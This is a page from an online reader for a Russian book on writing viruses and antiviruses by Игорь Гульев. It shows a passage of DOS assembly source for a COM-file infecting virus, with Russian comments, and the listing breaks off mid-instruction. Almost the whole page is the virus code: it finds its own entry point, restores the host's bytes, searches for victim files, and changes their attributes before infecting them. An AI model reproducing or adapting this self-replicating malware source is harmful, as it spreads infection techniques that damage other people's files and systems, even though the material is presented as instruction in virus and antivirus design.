Создаем вирус и антивирус. Игорь Гульев

Чтение книги онлайн.

Читать онлайн книгу Создаем вирус и антивирус - Игорь Гульев страница 3

Создаем вирус и антивирус - Игорь Гульев

Скачать книгу

кода программы

      assume cs:code, ds:code

      ;Начало сегмента кода. В конце программы сегмент кода нужно

      ;закрыть – ”code ends”

      code segment

      ;Устанавливаем смещения в сегменте кода.

      ;Данная строчка обязательна

      ;для COM−программы (все COM−программы

      ;начинаются с адреса 100h)

      org 100h

      start:

      ;Имитируем зараженный COM−файл.

      ;Тело вируса начинается с метки la

      ; jmp la

      db 0E9h ;Код команды JMP

      dw offset la–offset real

      real:

      ;Выходим из программы

      mov ah,4Ch

      int 21h

      ;Здесь начинается тело вируса

      la:

      ;Сохраняем регистры и флаги

      pushf

      pusha

      push ds es

      ;Получаем точку входа.

      ;Для этого вызываем подпрограмму (следующий

      ;за вызовом адрес) и читаем из стека адрес возврата

      call MySelf

      MySelf:

      pop bp

      ;Восстанавливаем первые три байта исходной программы

      mov al,[bp+(offset bytes_3[0]–offset MySelf)]

      mov byte ptr cs:[100h],al

      mov al,[bp+(offset bytes_3[1]–offset MySelf)]

      mov byte ptr cs:[101h],al

      mov al,[bp+(offset bytes_3[2]–offset MySelf)]

      mov byte ptr cs:[102h],al

      ;Дальнейшая задача вируса – найти новую жертву.

      ;Для этого используется функция 4Eh (Найти первый файл).

      ;Ищем файл с любыми атрибутами

      Find_First:

      ;Ищем первый файл по шаблону имени

      mov ah,4Eh

      mov dx,offset fname–offset myself

      add dx,bp

      mov cx,00100111b

      int 21h

      ;Если файл найден – переходим к смене атрибутов, иначе выходим

      ;из вируса (здесь нет подходящих для заражения файлов)

      jnc attributes

      jmp exit

      attributes:

      ;Читаем оригинальные атрибуты файла

      mov ax,4300h

      mov dx,9Eh ;Адрес имени файла

      int 21h

      ;Сохраняем оригинальные атрибуты файла

      push cx

      ;Устанавливаем новые атрибуты файла

      mov ax,4301h

      mov dx,9Eh ;Адрес имени файла

      mov cx,20h

      int 21h

      ;Переходим к открытию файла

      jmp Open

      ;Ищем следующий файл, так как предыдущий не подходит

      Find_Next:

      ;Восстанавливаем оригинальные атрибуты файла

      mov ax,4301h

      mov dx,9Eh ;Адрес имени файла

      pop cx

      int 21h

      ;Закрываем файл

      mov ah,3Eh

      int 21h

      ;Ищем следующий файл

      mov ah,4Fh

      int 21h

      ;Если файл найден – переходим к смене атрибутов, иначе выходим

      ;из вируса (здесь нет подходящих для заражения файлов)

      jnc

Скачать книгу